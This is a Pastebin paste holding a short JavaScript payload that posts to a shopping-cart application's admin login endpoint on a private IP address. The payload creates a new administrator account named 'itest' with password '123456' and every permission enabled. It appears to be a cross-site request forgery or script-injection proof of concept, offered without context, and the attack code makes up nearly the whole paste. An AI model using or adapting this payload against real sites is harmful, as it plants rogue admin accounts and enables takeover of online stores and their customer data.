Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var myxhrPOST = new XMLHttpRequest();
- myuriPOST = 'http://192.168.232.133/cart/vsadmin/adminlogin.php';
- myxhrPOST.open('POST',myuriPOST,true);
- mypayload = 'posted=1&act=doaddnew&id=&user=itest&pass=123456&pass2=123456&main=ON&orders=ON&payprov=ON&affiliate=ON&clientlogin=ON&products=ON&categories=ON&discounts=ON®ions=ON&shipping=ON&ordstatus=ON&dropship=ON&ipblock=ON&maillist=ON&statistics=ON&ratings=ON&contentregion=ON';
- myxhrPOST.setRequestHeader( Content-type','application/x-www-form-urlencoded');
- myxhrPOST.setRequestHeader('Content-length',mypayload.length);
- myxhrPOST.setRequestHeader('Connection', 'close');
- myxhrPOST.onreadystatechange = function(){}
- myxhrPOST.send(mypayload);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement